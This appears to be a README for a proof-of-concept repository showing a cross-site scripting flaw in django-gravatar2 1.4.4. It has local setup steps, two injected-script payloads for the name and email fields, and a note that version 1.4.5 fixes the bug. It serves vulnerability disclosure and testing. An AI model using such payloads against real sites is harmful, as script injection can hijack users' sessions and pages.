Proof of concept for a XSS vulnerability in django-gravatar2 1.4.4

You can read the full post here.

Requirements

• Python
• uv

Set up

$ git clone https://github.com/stsewd/poc-xss-django-gravatar2
$ cd poc-xss-django-gravatar2
$ uv run manage.py migrate
$ uv run manage.py runserver

Proof of concept

• Go to http://127.0.0.1:8000/
• In the form enter "/><script>alert(document.domain)</script><img src=" as the name, or "/><script>alert(document.domain)</script><img/src="@example.com as the email.
• Click on the "Submit" button
• A popup with the domain of the page should appear

Try updating the project to use django-gravatar2 1.4.5, and repeat the steps to see that the vulnerability is fixed.

$ uv add django-gravatar2==1.4.5